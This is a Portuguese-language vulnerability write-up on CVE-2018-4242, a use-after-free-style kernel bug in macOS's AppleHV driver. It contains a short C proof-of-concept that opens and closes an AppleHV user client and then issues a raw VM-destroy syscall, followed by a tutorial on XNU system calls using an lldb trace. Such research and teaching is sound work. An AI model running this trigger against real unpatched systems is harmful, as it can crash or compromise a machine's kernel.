
Artigo técnico detalhado e tradução do CVE-2018-4242, uma vulnerabilidade do kernel XNU no AppleHV, com código PoC, análise de engenharia reversa e explicação de system calls, MIG e IOKit.
Zhuo Liang da Equipe Qihoo 360 Nirvan
1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1
2.1 Chamada de Sistema . . . . . . . . . . . . . . . . . . . . 2
2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 mach_msg E Porta Mach . . . . . . . . . . . . . . . . . 6
2.2.2 MIG: Gerador de Interfaces RPC . . . . . . . . . . . . 8
2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12
3.1 Engenharia Reversa . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Vulnerabilidade . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3 Correção . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 CVE-2018-4242
Na semana passada, a Apple lançou uma atualização de segurança do macOS 10.13.4 para o CVE-2018-4242, reportado em março. Este CVE-2018-4242 é uma vulnerabilidade que pode expor um programa malicioso ao executar código arbitrário com privilégios de kernel. Este relatório será útil para examinar o XNU através deste problema. O código da Listagem 1 é um PoC que demonstramos. O código-fonte completo pode ser baixado do github.
1 // AppleHVUaF.c
2 void destroy_vm() {
3 asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4 return;
5 }
6 int main(int argc, char **argv) {
7 const char *service_name = "AppleHV";
8 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10 if (service == MACH_PORT_NULL) {
11 printf("[−] Cannot get matching service of %s\n", service_name);
12 return 0;
13 }
14 printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16 io_connect_t client = MACH_PORT_NULL;
17 kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18 if (ret != KERN_SUCCESS) {
19 printf("[−] Open service of %s failed!\n", service_name);
20 return 0;
21 }
22 printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23 service_name, client);
24 IOServiceClose(client);
25 usleep(5);
26 destroy_vm();
27 return 0;
28 }
Listagem 1: PoC para CVE-2018-4242
Para entender este código, são necessários alguns conhecimentos básicos sobre o XNU. Para leitores novos no XNU, a seção 2 abordará o XNU. Se você já conhece os itens abaixo, pode pular para a seção 3.
Seção 1 Introdução
Seção 2 Conhecimentos básicos do XNU
Seção 3 Reversão do AppleHV.kext e detalhes do CVE-2018-4242
Seção 4 Conclusão
Como todos sabemos, a chamada de sistema na computação é uma forma de programas interagirem com o sistema operacional. Os processos em nível de usuário podem solicitar serviços do sistema operacional através de uma chamada de sistema. No XNU, existem quatro classes de chamadas de sistema que alimentam toda a interação usuário-kernel. Vamos nos aprofundar nelas através da instrução syscall, como mostrado na Listagem 1. A syscall na arquitetura x86_64 é o tipo de instrução que pode invocar um manipulador de chamada de sistema do SO no espaço do kernel. A Listagem 2 ilustra como a syscall funciona através de um exemplo simples de write.
~ cat write.c
2 #include
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"
Listagem 2: Exemplo simples de write